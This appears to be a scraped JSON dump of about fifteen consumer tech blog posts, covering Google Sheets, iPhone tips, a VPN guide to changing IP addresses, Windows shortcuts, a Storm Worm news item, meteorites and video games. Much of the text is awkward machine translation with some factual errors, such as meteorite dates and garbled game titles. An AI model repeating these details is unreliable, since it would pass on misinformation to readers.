COUNTIF (B2: B10, \"Apple\")\nIt shows that: Count the number of fields from Apple in cell B2 to B10.\n  You can calculate the total weight of apples sold using SumIF function.\n= SUMIF (B2: B10, \"Apple\", C2: C10)\nIt searches for the number of words Apple entered in column B and then calculates the total values ​​of the equivalent cell in column C.\n  6. Table Pivot Pivot Table is the last useful function I want to mention in this article. You can open the Pivot panel by selecting the data you want to use then clicking Data\u0026gt; Pivot Table .\nReport Pivot makes it easy to enter, filter, classify and aggregate data through the user interface. For example, with a Pivot table you will get the same results as CountIF and SumIF for all fruits without using any calculations. In addition to counting and synthesizing, it can calculate other values ​​such as average, variance as shown below.\n  You can use Pivot tables to reconstruct data. Looking at the image below, the invoice number in the first column with each column is a type of fruit. Then, each cell indicates the number of each type in order.\n  ncG1vNJzZmismaXArq3KnmWcp51kg27B0p6drqRdm8Kvr9OipqerXZ67brPOqJ6lnV2otaax06xksqelYrqixYynpq1lm6O8uHnYnqs%3D\n","link":"/post/6-useful-functions-in-google-sheets-you-may-not-know-yet/","section":"post","tags":null,"title":"6 useful functions in Google Sheets you may not know yet"},{"body":"Following Acer, Dell also introduced a Chromebook using an Intel Core i3 Haswell chip at a recent event in Japan.\n  Dell's new laptop is actually a hardware-upgraded version from Dell Chromebook 11. Previously, Dell's Chromebook 11 provided business and education customers with the Intel Celeron 2955U Haswell chip. .\nOther specifications include an 11.6-inch screen with a resolution of 1366 x 768 pixels, supporting WiFi 802.11n and Bluetooth 4.0. Dell also showed the battery life of the product up to 10 hours.\nThe new Dell Chromebook 11 version is also equipped with a 720p webcam, 2 USB 3.0 ports, an SD card slot and an HDM port. Not only that, the product is also equipped with TPM security standard.\nDell said that the Celeron version will continue to be marketed. In addition, an upgraded version of Chromebook 11 with Core i3 CPU and 4 GB RAM is also on the way to consumers.\nncG1vNJzZmismaXArq3KnmWcp51ksaa4y2aamqWVYry2wIywoK2gXZi1s7vMnpmop5tifnJ51Kygp59dmLyzsYyiamabmJ69tA%3D%3D\n","link":"/post/dell-came-out-with-chromebook-11-using-core-i3-chips/","section":"post","tags":null,"title":"Dell came out with Chromebook 11 using Core i3 chips"},{"body":"The Apple employee admitted that Face ID on the iPhone X was not working because the camera on the back of the device failed. This is Apple's second incident involving iPhones in the past two weeks, and its iPhone 7 also failed to disable the microphone after upgrading to iOS 11.3 last week.\nAccording to GSMArena, Apple sent documents on the process of handling Face ID faulty iPhone Xs to authorized service providers (Apple Authorized Service Providers, AASP). Accordingly, the first thing the technician needs to do is to run a diagnosis to see if the Face ID problem can be solved by repairing or completely replacing the rear camera. In case it is impossible to identify, the employee will ask the customer to leave the machine, make procedures to exchange a new iPhone X.\n  Apple employees said, if users encounter a Face ID error on iPhone X, they should bring their device to an authorized Apple service provider for inspection and renewal if necessary.\nSee more:\n4 ways to improve Face ID stability The former Apple engineer claims to be able to unlock all iPhones for $ 15,000 The trick that iPhone users need to know ncG1vNJzZmismaXArq3KnmWcp51ks6KvxGagnWWfo3qqvMeopZ5lqGLAtbvPqZydZaekv6y1zaBkna2VYsGwedOhnGaen6G5sMPIp55mm5GisrOtjJ6pq6eiYq6xvMueZJqfopqypXnTqGScoJGjtKZ506GcZpyVq7aksQ%3D%3D\n","link":"/post/face-id-on-iphone-x-stopped-working-due-to-the-following-camera-error-apple-agreed-to-change-the-device/","section":"post","tags":null,"title":"Face ID on iPhone X stopped working due to the following camera error, Apple agreed to change the device"},{"body":"At the new press conference, NASA announced the discovery of the Kepler-90 star system with the most planets in the same system ever.This star system is considered by the researchers as a mini version of our Solar System.\nSo far, the solar system is a special star system with the existence of the Earth, the only planet known to man that can nourish life and is the most planetary star system, with 8 crystals the bridge revolves around the Sun.\n  Previously, scientists discovered the star system Kepler-90 has a total of 7 planets. But recently the eighth planet of this star system has been discovered, located 2545 light years from our Earth. With this finding, the official Kepler-90 star system parallels our Solar System in terms of the number of globules around a star.\nThe new planet is named Kepler-90i. This is a hot planet with a solid surface and has an orbit of 14.4 days around Kepler-90.\nThe interesting thing here is that the planet was discovered thanks to the combination of Kepler telescope and AI system (artificial intelligence) that can \"learn\" (machine learning) by Google.\nBased on the signals that Kepler obtained from exoplanets (exoplanets), the AI ​​analyzed and confirmed the signal of a new planet.\n  Star system - planet Kepler-90.\n2 researchers Christopher Shallue and Andrew Vanderburg have 'trained' a computer capable of analyzing light data (very small changes in brightness when a planet moves across a star) again from Kepler to find exoplanets.\nThe \"network neuron\" in AI will dig up Kepler's data, looking for extremely small signal changes. And finally he found the eighth planet of Kepler-90 in the constellation of Draco.\nPreviously, machine learning technology was also used to study Kepler's data but was not expected too much. This success has shown that it has a great ability to find the smallest signals in extremely distant galaxies that humans cannot reach.\n  The planet across the star's host will create a very small change in the light signal.\nKepler-90i is about 30% larger than Earth, very hot surface temperature - about 420 degrees Celsius, which is equivalent to Mercury's temperature in the solar system. Kepler-90h is the furthest planet of Kepler-90 with the same distance as the Earth to the Sun.\nVanderburg, an astronomer from the University of Texas and a graduate student at NASA, said the star system - the planet Kepler-90 has large outer planets, a small inner planet similar to our own, but about The way is much smaller. Therefore, it is like a miniature version of the solar system.\nWithin four years, Kepler received 35,000 signals that could potentially be a new planet. This is a huge data warehouse. In the past, these signals were checked by human eyes and software automatically but were not highly effective because weak signals were often ignored. Shallue and Vanderburg believe that these data may contain unprecedented findings. And they decided to teach the way neuron system of AI to confirm signals from exoplanet, based on 15,000 previously recognized signals.\nThe results were more amazing than expected, even in the first tests AI achieved 96% accuracy. The system continues to self-study to achieve higher accuracy.\nBased on the assumption that star systems have more than one planet as the most suitable place to search for more hidden planets, experts have directed the system to look for weaker signals out of a total of 670 star systems. There have been many confirmed planets.\n  Kepler-90i simulation.\nThe AI ​​has found more than a new planet, in addition to Kepler-90i, it has also discovered the sixth planet in the Kepler-80 star system, which has five planets. The planet is about the same size as the Earth and is named Kepler-80g.\nAfter this success, Shallue and Vanderburg planned for the AI ​​system to scan Kepler's entire data system, including 150,000 stars in the hope of finding more planets and increasing the ability to detect another civilization. .\nSee more:\nKepler detects three new exoplanets orbiting 'super-Earth' NASA declares the existence of the 9th planet in our Solar System ncG1vNJzZmismaXArq3KnmWcp51ku6K%2FwGaYp6afqrukscNmnqinl6GytHnAomSdnaSasLW%2FjKecsGWgoa6vsdOsZK2gkal6pK3UrJxmrJiaerS7y5qpZqupqMGmudJmqZ6bn6exbsDOZpmeZZyaw6a4xJ0%3D\n","link":"/post/google-s-ai-detects-new-planets-that-cause-the-solar-system-s-record-to-be-leveled/","section":"post","tags":null,"title":"Google's AI detects new planets that cause the Solar System's record to be leveled"},{"body":"You probably still remember the game Don't Stop! Eighth Note, vocal training to score scores that had caused storms for a while throughout the Facebook network community. The game requires users to shout out loud, the higher the score. This strange and strange style of interactive games with players has created a new wind in the gaming community at that time.\nAnd recently, another style of gaming has been handed over quickly by young people under the name FaceDance Challenge. This game is developed by a group of young Vietnamese people with extremely unique content. The gameplay of the game will basically be similar to Audition dancing, but will be replaced by facial expressions (emoticons). Users will have to show their faces in accordance with the requirements on the screen, the faster the performance, the higher the score will be recorded. And of course the facial expressions that the game requires you to perform will be humorous, even \"weird\" extremely. Join the Network Administrator to learn how to play FaceDance Challenge in the article below.\nHow to play FaceDance Challenge game Download FaceDance Challenge on Android Download FaceDance Challenge iOS Step 1: The user clicks on the link above to download the FaceDance Challenge suitable for the device being used, then click on the icon to open the game. In the first interface you need to wait for the game to start. After that, the application will give you 3 notes, click OK to receive. This note will be purchased for real money, so it is limited to use.\nNote to users , the requirement of the game is that we will use our face to dance to the music provided by FaceDance Challenge, so you can use headphones to hear the rhythm.\n   Step 2: The next job is to select the song in the list below to try it out. There are about 10 songs that the app provides for us. Each song will be accompanied by time. After selecting, click Play game now! . If not, you can press the upload button to use the song available in the device to play.\n   Next, you need to use 1 note to use the song available in the list. Because FaceDance Challenge uses face detection AI technology, Camera will be used. You need to agree to the application to access the camera .\n   Step 3: After that, the application will proceed to identify the player's face and you have 3 seconds to prepare to enter the battle to score points with FaceDance Challenge.\n   Step 4: There will be different facial expressions on the screen. And your task will be to follow those expressions exactly. The faster the performance, the faster the score will increase. The application will differentiate the score depending on the emoticon you make.\nThe later the difficulty will increase with the appearance of many facial expressions on the screen. At first it may be some facial expressions, but later it can be up to 5 or there are 6 expressions. The melody speed is also pushed faster, dragging the emoticon also moves quickly.\n    Step 5: When the Crazy Time screen appears , users can delight in expressing their facial expressions in the 'crazy' way possible. The highest score for facial expressions at Crazy Time will be 250. Try to score the absolute score in this section, and throughout the game to get the Perfect score many times.\n   Step 6: During the game, users can press the Rec button round icon to record video playing FaceDance Challenge. At the end of the background music playback time, the player will receive a score, followed by a star number.\n   If you have a video recording , you will see a message saying that View Record reviews the recorded video. Click View to view the video. In the video playback interface, press the Share button to share the video. Select the social network that FaceDance Challenge provides to share.\n    Step 7: Going back to the main interface when you click on the humanoid icon will be moved to the homepage of FaceDance Challenge. Here when you click on the Join button , you can join the gaming community.\n   Click Continue to create a game account on FaceDance Challenge.\n   Also when clicking on the icon 3 dashes will appear a list of settings for the account. Click on Settings to switch to the interface of your account information.\n   So we showed you how to play basic FaceDance Challenge on your phone. The game is a fun and funny game when players have to constantly change their facial expressions according to the task. In particular, facial expressions 'difficult' in the game will create attractive challenges for players. Try to see how much the highest score I scored in FaceDance Challenge.\nWish you all have fun playing games!\nncG1vNJzZmismaXArq3KnmWcp51ktaLCxGawqK1dqb%2BqscNmmK6cmam2sLqMnZinm5mjtG7DyK2fZp6RmLKlrc2cnGabmJa5rbHNoJw%3D\n","link":"/post/have-you-tried-audition-dancing-with-facedance-challenge/","section":"post","tags":null,"title":"Have you tried Audition dancing with FaceDance Challenge?"},{"body":"There are many reasons users want to change their IP address and there are many types of user IP addresses that can be changed. It is important to find out what kind of address you want to change before continuing. Every device connected to the Internet has an IP address, so is your phone.\nToday, tracking a person somewhere is not difficult at all. In fact, you can also keep track of all the places a person has gone, what that person did in today or someone's daily routine. You just need to have a little hack skill.\nUnfortunately, hackers can take advantage of this to compromise the privacy or sensitive data of others. They can do all that and even more by tracking your IP address.\nTo solve such problems, you need to learn how to change the IP address on your phone. However, first, find out what an IP address is and why you need to change the phone's IP location.\nHow to change IP on Android, iPhone Why change IP address? Benefits of changing IP addresses Access blocked sites Protect your data Become anonymous Create different accounts on a website  For Android devices Why does an Android device need an IP address? How to change the IP address of an Android phone  For iPhone phones Why change IP address?   Some people change their external public IP addresses to avoid online bans or ignore restrictions on the country location that some websites impose on their video content.\nChanging the IP address of the client, phone or router is useful when you have accidentally configured an invalid address, such as a static IP address in the incorrect range.\nSo why should you care about IP addresses? Before instructing you how to change or hide the IP address on your phone, consider the dangers associated with exposing the real IP.\nYou cannot access locked content by region: There are many reasons why a country will restrict certain online documents. Regardless of the reason, they restrict the content by blocking that content on the IP that your ISP assigns. You are vulnerable to network attacks: When you use your real IP on the network, anyone who knows your IP can easily launch a network attack on your device. These network attacks can range from security exploits, privacy violations to DDoS attacks. You cannot use your rights to speak freely: Freedom of speech is becoming a difficult thing to do today. For example, if you make any controversial comments against the government, you can be tracked through your real IP even if you use a fake profile. Benefits of changing IP addresses   Only a VPN like PureVPN can help you hide your IP and location with an anonymous IP. Here are the benefits you get when experiencing VPN.\nAccess blocked sites The best advantage of using VPN services is that you can avoid content restrictions that are often limited by government or ISP. Therefore, you can enjoy all the inactive apps or websites in your country.\nProtect your data VPN not only allows users to hide IP but also protects data transmission with 256-bit encryption. Military grade encryption is applied against all types of data hacks, thus keeping the user's data safe.\nBecome anonymous Freedom on the Internet is becoming a major concern these days. As mentioned above, anyone can identify your real identity through IPs, even if you use a fake profile. With VPN, you can maintain strict anonymity for your identity by changing IP as well as location.\nCreate different accounts on a website Another benefit of using VPN is that you can create multiple profiles on one site. There are some websites that only allow one account per IP. If you meet such sites, you no longer have to worry about page account restrictions anymore.\nIf you are concerned about data security, online privacy or surpassing fearful location restrictions, change the IP address on your Android device with the steps mentioned above and enjoy Anonymous surfing experience.\nFor Android devices Why does an Android device need an IP address? You may be wondering why an Android device needs an IP address. When you connect to the Internet at home, office or any public place, your device is among the millions of other devices connected to the network. To communicate with other devices on the network, your device must have an identity. An IP address is the identity your device receives on a local or public network.\nCommunication on the Internet works according to the packet stream. You send a package (information) to another device so it can receive that information. And, you do it back and forth between devices. Unless you know the identity (IP address) of another person, you won't be able to connect or send any packets.\nSimilarly, your Android is also a device and therefore to operate on the Internet, it needs an IP address to be able to start sending and receiving data packets.\nHow to change the IP address of an Android phone Now, you know why Android users need to change their IP address. Here are the steps you need to take to do that.\nHow to find the IP address of an Android device (local IP)\n1. Go to Settings.\n2. Scroll down and click About Phone.\n3. Next, click Status.\n  \n4. Scroll down and you will see both the local IP address and Mac address of the Android device.\nWith the steps above, you can find the local IP address of Android. However, if you want to find out about your public IP address, check the address on https://www.purevpn.com/what-is-my-ip or https://whatismyipaddress.com/. You can also learn more ways to find other IP addresses via articles: 6 ways to view IP addresses on computers, smartphones or Tablet.\nHow to change the IP address (IP public) and location on Android with PureVPN\n1. First, register for PureVPN.\n2. Visit the Android PureVPN application page to download the Android version.\n3. When you have installed the application on your Android device, open the application and use your PureVPN login information to log in.\n4. Select the destination and click Connect.\n5. Now visit https://www.purevpn.com/what-is-my-ip or https://whatismyipaddress.com/ to check your new IP and location.\nFor iPhone phones You can also change the IP address on your iPhone phone as follows:\n1. Open the Settings application .\n2. Go to the Wi-Fi option section.\n3. Click on the small (i) word next to the mentioned network.\n  4. Open the Configure IP option .\n5. Select Manual from the list of options.\n6. Enter network details manually, like your own IP address, DNS information, etc.\n  Note : Selecting a specific local IP address does not affect network performance in any way.\nGood luck!\nSee more;\nHow to find, set and change IP addresses on Linux Steps to change IP addresses on computers and Macs Instructions to change IP address from Command Prompt ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYlruosYytn55lmaV6orDDq5ysq12bvLN506GcZqiYpLum\n","link":"/post/how-to-change-the-ip-address-for-the-phone/","section":"post","tags":null,"title":"How to change the IP address for the phone"},{"body":" This wikiHow article will teach you how to check if your copy of Microsoft Windows is activated and licensed. Open the Settings app. Click the Start button and click the settings gear.\nMethod 2of 3:\nWindows 8  Press the ⊞ Win+Pause keys simultaneously. This will open the System Properties window in the Control Panel.\n  Review your activation status. Look under the \"Windows activation\" section to see if Windows is activated. Since it's at the bottom of the System Properties window, you may need to scroll down.\n  Marvin Fry Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYmrCsecifZKahk6e8tLvFrWSwoZ6ZvLi%2FjKKqZpmTqba3rdOemw%3D%3D\n","link":"/post/how-to-check-if-microsoft-windows-is-activated/","section":"post","tags":null,"title":"How to Check if Microsoft Windows is Activated"},{"body":"\"Signature\" is a handwritten symbol of a person. It can be a name, nickname or any symbol to show a person's mark. Signatures are often found on documents, contracts, legal documents, . with the meaning to prove the presence of that person.\n And in case you need to sign documents and documents being reviewed online when you need them quickly, without paper or pen, the iPhone can help you. As follows.\nInsert a signature into email, text\n If you are using the Mail application to browse document content, text. Click on the icon \"Tea lyrics\" at the bottom of the screen.\n The email reply interface will appear, click the pen icon.\n Then click on the \"+\" icon in the corner of the screen.\n Select \"Signature\" in the menu that appears.\n Signing interface appears, use your finger and write your signature.\n When finished signing, press \"Done\".\n Continue to click \"Done\" in the original drawing interface.\n Insert signature option appears, click \"Insert graphics\".\n Your \"signature\" will be inserted into the document, currently viewed text.\n The created signature will be archived for future use. You can also add or remove signatures if desired.\nInsert a signature into the image\n To add a personal signature to a photo on iPhone, open the image you need and click \"Edit\".\n Click the three-dot icon in the image editing interface.\n And click \"Highlight\".\n The bookmarking interface will appear, click on the \"+\" icon and click \"Signature\".\n The selected signature created earlier appears. You can click on use or add new or delete if you like.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYypnKurn6OurXnSop6nmaSqv6Z5xLGrq52dmrm6ecWaqq1ln6N6tbTEZqCpoJ%2Bjsm7Azmaqop%2BeYsGpsYypmKmdoqh6or%2BMp5yenJWZ\n","link":"/post/how-to-create-personal-signature-extremely-fast-on-the-iphone-to-sign-the-papers-as-needed/","section":"post","tags":null,"title":"How to create personal signature extremely fast on the iPhone to sign the papers as needed"},{"body":"With a multiverse storyline, Marvel Future Revolution begins when multiple Earths converge in the multiverse and form a brand new \"main Earth\" with unique regions and quests to explore, such as: High-tech city Stark, Dangerous Empire Hydra, wild, rugged Sakaar, and more.\n  Players will work together to fight the onslaught of villains and protect \"Main Earth\" from a never-ending array of threats. The plot of Marvel Future Revolution was written by Marc Sumerak, who worked for Marvel Comics.\n  Is Marvel Future Revolution free? Netmarble has confirmed that Marvel Future Revolution is a free game, so you will be able to download the game and start playing without any fees. The game will include in-app purchases.\nList of characters in Marvel Future Revolution As of now, there are eight characters that you can experience in Marvel Future Revolution Captain America, Captain Marvel, Spider-Man, Black Widow, Iron Man, Doctor Strange, Star-Lord, and Storm.\nEach character will be equipped with costumes from across the Marvel universe, with more than 400 million combinations for each superhero to choose. However, with the image below, you will see a few other forgotten faces like Vision, Rocket Raccoon.\n  What villains are there in Marvel Future Revolution? The villains in Marvel Future Revolution include Red Skull, Baron Mordo, MODOK, Green Goblin, and Red Goblin. These are the villains that have been named on the official Marvel website.\nOf course there will be more villains appearing in the game. You will also see Magneto, Ultron according to the picture in the character section above.\n  In a teaser video on Twitter, the developer also said that there will be different versions of these characters. Featuring alternate incarnations of iconic heroes and villains emerging from across the multiverse. Take for example the Spider-Punk character of Spider-Man in a trailer\nMarvel Future Revolution was officially launched on two mobile platforms, Android and iOS, on August 26. You can now download it for android here, for iOs here.\nncG1vNJzZmismaXArq3KnmWcp51kuqK%2B1Z6jZp6lqcKzsYyrnK%2BnnKrBqrvNZpuor56hvKKwjKaYq66VoXqnwdOuqZ5loprDsLjUraCopg%3D%3D\n","link":"/post/marvel-future-revolution-download-marvel-future-revolution/","section":"post","tags":null,"title":"Marvel Future Revolution - Download Marvel Future Revolution"},{"body":"In this article we will show you how to remove unwanted toolbar in Internet Explorer.\nWhen browsing the web, surely you will encounter registration requirements to use the service or install some software or toolbar into the browser for the purpose of 'improving' the browsing. The problem here is that there are many services and toolbar does not really support web browsing but spreads ads for their related sites. In fact, there are many malicious toolbars that reduce web browsing performance and compromise your computer.\nIf we find that there are malicious or unwanted toolbars in Internet Explorer, we can easily remove them to regain control of the computer. Here's how to do it:\n1. Click Tools, Manage add-ons. Windows Vista / 7 users may need to press the Alt key to make the browser menu appear.\n  2. In the Manage Add-ons window, click the Toolbars and Extensions section under 'Add-on Types'.\n  3. Under the 'Show:' drop-down menu, select All add-ons .\n  4. Highlight the toolbar you want to remove, then select Disable .\n  5. A window will appear to warn that the services and add-ons related to that toolbar will be disabled. If such a window appears, leave them selected and click OK .\n  6. Click to Close to exit the add-ons window.\nNow the unwanted toolbar will immediately disappear from Internet Explorer, and they will not affect your computer.\nIn addition, you can completely remove some toolbars from your computer as you would with programs:\n1. Click Start, Control Panel \u0026nbsp; to appear Windows Control Panel.\n2. Click Programs and Features.\n  3. In the uninstallation window, locate the toolbar you want to remove; If it's available, select the toolbar and click Uninstall .\n  4. Follow the on-screen instructions to complete the toolbar removal process from your computer.\nncG1vNJzZmismaXArq3KnmWcp51kv6a5zq%2BcZqyfpLmjrdFmmaunp6iys3nIp2SipqSav6%2Bx02acsaicpL%2Bmvg%3D%3D\n","link":"/post/remove-toolbar-browser-in-internet-explorer/","section":"post","tags":null,"title":"Remove Toolbar browser in Internet Explorer"},{"body":"TipsMake.com - Since Windows 7 was born, there have been many articles exploiting the basic and advanced features of this operating system, go region with the utilities, tips to optimize the system. system. One of those things is to take advantage of shortcuts - to increase the time savings and increase user productivity. In the lower part of the article, we will introduce you some useful shortcuts for Windows 7.\n1. Ctrl + Shift + N: create a new folder:\n  No need to right click, select New\u0026gt; Folder as usual, just combine Ctrl + Shift + N and we have a new folder in the open window.\n2. Ctrl + Shift + Click: Open any program by Administrator:\n  In many special cases, you cannot use the program in the normal way but right-click and select Run as Administrator . In Windows 7, just hold Ctrl + Shift and open the application as usual.\n3. Shift + right mouse: add Context Menu features:\n  We will see a clear difference when viewing the top and bottom images, the right-click menu will change when holding the Shift key:\n  4. Shift + right click on the folder to open the Command Prompt:\n  When holding Shift and right clicking on any folder, we will have the option Open command windows here , and the Command Prompt will be opened at the current path.\n5. Windows + Space to display Desktop. \n\n6. Windows + arrow keys to change the status of the windows:\n  When combining the Windows key and the arrow keys, the system will move the open window in the corresponding direction (left, right), or resize it ( Maximize state , Restore or Minimize ).\n7. With Dual Monitor system: Windows + Shift + left (right) arrow key to move the window to the left (right):\n  In Windows 7, when setting up and using Dual Monitor mode, press the Windows key combination + Shift + left arrow - right, the system will combine and move the working windows and programs to the screen. left or right.\n8. Windows + T: switch between components under the Taskbar:\n  Very simple and easy, when you want to switch between components (active or inactive) under the Taskbar, you just need to press Windows + T key, different from Alt + Tab, this function only changes between doors. windows, programs are open.\n9. Shift + opens the app at Taskbar:\nAssume that you are opening a lot of Chrome windows, and when you need to open a completely new browser window, point your mouse at the Chrome icon in the Taskbar, hold Shift and click.\n10. Windows + B: select components under System Tray:\n  When you want to quickly open applications, components in the System Tray, we just need to press Windows + B to change from the first program from left to right.\n11. Windows + P: Laptop connection to the projector:\n  Technically, Windows 7 has built-in features that are quite handy when users want to connect a projector or a monitor other than a laptop via Windows + P. shortcut.\n12. Windows + 1, 2, 3 .: to open the program on the Taskbar:\nWhen you want to open any application that has been mounted on the Windows 7 Taskbar, you just need to press Windows and the number corresponding to the location of the program.\n13. Windows + Pause: check System Properties:\n  If you want to quickly know information about hardware, operating system, Device Manager, Advance System Settings . in Windows 7, press the Windows key combination + Pause to display the System Properties panel.\n14. Ctrl + Shift + Esc: open Windows Task Manager:\nIn fact, this feature is available from the Windows Vista version, next to the familiar Ctrl + Alt + Delete shortcut, when pressing Ctrl + Shift + Esc, the system will quickly display the Task Manager window .\nncG1vNJzZmismaXArq3KnmWcp51kwLC5xGaqoaeiqbC2wNJmpp9lp567pbvWrGRwZZ2Wxm6uxGasp6OepMSv\n","link":"/post/some-shortcuts-of-windows-7-may-be-unknown/","section":"post","tags":null,"title":"Some shortcuts of Windows 7 may be unknown"},{"body":"Dangerous computer worms Storm Worm used to scan millions of computers and social networks.Its variant is continuing to attack by email bearing the April Fool's Day theme. \n Security software company PC Tools detected the virus's new vortex lurking on several websites. \"The Storm worm has reappeared. This time email spreads are disguised as a lie date,\" said health expert Kurt Baumgartner.  If the user accidentally opens the link, \"Storm Worm\" will immediately flood the PC.Photo: Photogeek\nIn those messages are links to entice users to access websites with malware waiting. After the virus program file has been accidentally downloaded by the computer user and automatically executed on the infected computer, the Storm April Worm adjusts the firewall system to take up the communication ports for the purpose. \"telephone talk\" to its center.\nIn particular, anti-virus tools are almost ineffective because the executable code of the Storm Worm variant has fundamentally changed. According to security experts, the most effective way to prevent this attack is to use anti-malware utilities that integrate behavioral detection technology. The solution to authenticate the signatures of traditional security utilities has been overtaken by this virus. Users also need to be alert to random links sent to the mailbox. It is best not to click on links that only download the file to your computer if the user does not know its source.\nncG1vNJzZmismaXArq3KnmWcp51kwLW70aZksKeionqzscSxp6iqpJqxbsDHq6aun5hirm62zqSc\n","link":"/post/storm-worm-re-exported-through-a-joke/","section":"post","tags":null,"title":"Storm worm 're-exported' through a joke"},{"body":"The asteroids from outer space rush to Earth all burn when flying into the atmosphere and forming a supernova. But there are some large-scale asteroids that cannot burn off and fall to the ground called meteors.\nMost of the meteorites that have fallen on our planet have been going on for a long time. Until it was found by humans, it dates back thousands of years. Thankfully, most of them are small rocks except for giant meteorites that have caused great extinction on Earth 63 million years ago.\nHere are the six largest meteors ever discovered by humans on this planet.\n1. Willamette meteorite   In 1902, Willamette, discovered by Ellis Hughes but then he did not know this was a meteorite but thought it was a normal rock. Ellis Hughes broke it up for sale to the steel company. Thankfully, the incident was discovered and stopped when he sold nearly 1 stone.\nWillamette has an area of ​​7.8 square meters, weighs 15.5 tons and is the largest meteorite ever discovered in America. Willamette's main ingredient is iron and nickel. This meteorite was displayed at the American Museum of Natural History from 1906 to the present.\n2. Mbozi meteorite   Mbozi was discovered in Tanzania, this meteorite is 3m long, weighing 25 tons. The people of Tanzania call it kimondo and worship as a sacred stone.\nWhen discovered, Mbozi sank half below the ground. Currently, people have dug around and fixed it with an artificial statue to preserve.\n3. Cape York meteorite   The Cape York meteorite fell to Earth about 10,000 years ago and it was not until 1993 that it was discovered. This is the third largest meteor among the meteorites ever discovered, it weighs nearly 20 tons.\nCurrently, Cape York is on display at the Geographic Museum of Copenhagen University, Denmark.\n4. Bacubirito meteorite   In 1863, Bacubirito was discovered by geologist Gilbert Ellis Bailey in Ranchito village, near Sinaloa de Leyva.\nThis meteorite is made of iron, 4.25m long, 1.75m high, 4.25m wide, weighs about 20 tons and this is the largest meteorite ever discovered in Mexico. Currently, it is on display at the Centro de Ciencias de Sinaloa Science Center.\n5. El Chaco meteorite   In 1969, El Chaco was discovered at a depth of 5 meters below the ground and became the second largest meteorite on Earth with a mass of 37 tons. Despite its enormous mass, twice as much as the Cape York meteorite, but this is just a crumb of Campo del Cielo, the asteroid group once crashed into Earth to form a group of craters on an area of ​​60 km2 in Argentina.\nIn 2016, another debris believed to have originated with El Chaco was also found underground.\n6. Hoba meteorite   This is the largest meteorite ever discovered on the ground with a volume of 60 tons, weighing nearly twice as much as El Chaco.\nAccording to the researchers, Hoba has fallen to the ground since 80,000 years ago and remains fixed there until now.\nA 30-ton meteorite was discovered hitting Earth 4,000 years ago What happens if meteorites fall into the ocean? ncG1vNJzZmismaXArq3KnmWcp51kwamxjG9kpZminLK0wIymnK2dn6e2tbGMm6Oom5uoeqK%2BxGabnqyVmMGmsIyopWasmJp6tMHRn5icnV2ks27Ax55knpmiqbU%3D\n","link":"/post/the-6-largest-meteorite-blocks-are-detected-on-the-surface-of-the-earth/","section":"post","tags":null,"title":"The 6 largest meteorite blocks are detected on the surface of the Earth"},{"body":"And to capture that desire, many open world games have been released so that you can freely explore your surroundings without ever having to return to space.\n1. The Division 2   The Division 2 has had a great improvement in mission design, variety and better content than the previous game. The game takes place in Washington DC 7 months after the events of the previous installment, this is a showdown between the survivors and the gang of thieves broke out. At the start of the game, the player creates their own Division agent by customizing the character's gender and appearance. In the game, the player is equipped with various weapons, including rifles, sniper rifles, submachine guns, and explosives such as grenades to defeat the enemies.\n2. Sakiro: Shadows Die Twice   Developer FromSoftware is well known for their setting, with Bloodborne and Dark Souls. Continuing with that, the game studio brought Sekiro: Shadows Die Twice, which gives the protagonist the ability to jump and slide rope to climb high and plan ambushes on enemies. It completely changed the way the world worked compared to previous titles, requiring careful observation by the player before proceeding to the next action.\n3. Borderland 3   It took Gearbox Software years to finally roll out Borderlands 3, but the wait was definitely worth it. The game is really like Borderlands, but this time the space is no longer limited to Pandora. Instead, Vault Hunters travel to several other planets with various environments. The shooting style in the previous parts remains the same for Borderland 3.\n  The standard by which other open world games have been set since The Elder Scrolls V: Skyrim was released – in 2011.\nSet in a harsh icy world filled with strange aggressive creatures, giants, and dragons. Skyrim is filled with impressive lore and quests.\n5. The Witcher III: Wild Hunt   The game studio CD Projekt Red has a knack for telling stories that are relatable and convincing, although magic and fantasy are common in their work, and this is more evident in The Witcher III: Wild Hunt. Set in a huge open world with tons of quests, The Wild Hunt has become the full story without any extra spin.\nThe characters all have their own unique charm, the smallest side quests have unique and funny twists, and the environment is wonderfully realistic.\n6. Batman: Arkham City   The most realistic version of Batman from Rocksteady Games, Batman: Akrham City has everything fans want in a video game. Gotham City's closed prison has expanded into the streets, with gangs and famous villains free to commit heinous crimes. In this world, you can freely glide through the air, throw weapons and explore the dark nooks and crannies of Arkham City.\n7. Horizon: Zero Dawn   Combining robotic dinosaurs, high-tech bows and arrows, and a civilization devastated to the point of destruction, you get Horizon Zero Dawn. This is one of the best action role-playing games of the generation. Horizon Zero Dawn gradually reveals you to more threats and terrors as you explore the post-apocalyptic world, and the mix of landscapes is just as overwhelming.\n8. Middle-earth: Shadow of War   The foundation for Middle-earth: Shadow of War lies in its predecessor, Middle-earth: Shadow of Mordor. But the sequel expands on the massive Middle-earth setting with various regions showing off fiery, majestic mountains as well as vast plains. With epic battles inspired by the Arkham series and plenty of gear options, this is an open-world game not to be missed.\n9. Grand Theft Auto DRAW   Rockstar invented the modern open world game with Grand Theft Auto III, and the series has never been better than Grand Theft Auto V 2013. Set in stunning Los Santos and the surrounding urban area , Grand Theft Auto V has everything from bank robberies to detailed urban life simulations, you can even join a tennis match.\n10. Red Dead Redemption II   It's not wrong to call Red Dead Redemption II the Western version of the Grand Theft Auto series, but there's much more you can do in Rockstar's latest title. The game context brings a large world in the American West for you to explore. Along with that are different missions that appear randomly when interacting with locals or detecting an enemy.\nAbove are the top 10 best open world games today, wish you have happy gaming moments!\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jGpnZpqVqMFuu8%2BepWavn6e5pXnGmqSeq11nfXN9\n","link":"/post/top-10-best-open-world-games-2021/","section":"post","tags":null,"title":"Top 10 best open world games 2021"},{"body":"Over time, the files on your hard drive will be fragmented, and your computer will gradually \"slow down\" because you have to \"check\" the files in different locations on the hard drive. To make your computer run faster and smoother, you can use the tools available on Windows 10 to defragment files.\nAutomatic defragmentation means to extend the life and performance of your drive.\nJust like Windows 8 and Windows 7, Windows 10 also automatically defragments files according to a schedule (by default, once a week). However, the tools don't always run and run continuously. If you notice, you will see the files load very long or after 1 month (maybe longer) how will you see the drives on the Windows operating system fragmented?\n  Another point to note about Solid State Drives (SSD): SSDs work differently than traditional hard drives. SSDs do not need fragmentation. However, Windows also defragments the SSD once a month if necessary and if System Restore is enabled.\nWith an SSD, you can use Optimize Drive tool to optimize the drive, including sending 